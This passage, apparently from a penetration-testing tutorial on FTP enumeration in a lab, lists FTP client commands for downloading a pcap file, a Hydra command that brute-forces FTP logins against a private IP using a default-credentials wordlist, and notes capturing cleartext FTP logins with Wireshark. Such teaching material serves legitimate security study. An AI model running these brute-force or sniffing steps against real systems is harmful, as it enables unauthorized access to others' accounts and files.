2. Once authenticated, you are permitted to run commands depending on permissions of the user.

• pwd
• dir
• get lol.pcap

3. Since, we have read permission we could download the file

• ls -l lol.pcap

Hydra

You can brute force log in using hydra

• hydra -s 21 -C /usr/share/legion/wordlists/ftp-default-userpass.txt -u -f 192.168.0.7 ftp

There are other methods to enumerate ftp like capturing network traffic, sometime ftp is sent over insecure networks.

Once, you get log in you can explore and navigate through the file system, read or even write files.

I captured traffic using Wireshark and I see the log in messages flowing through the network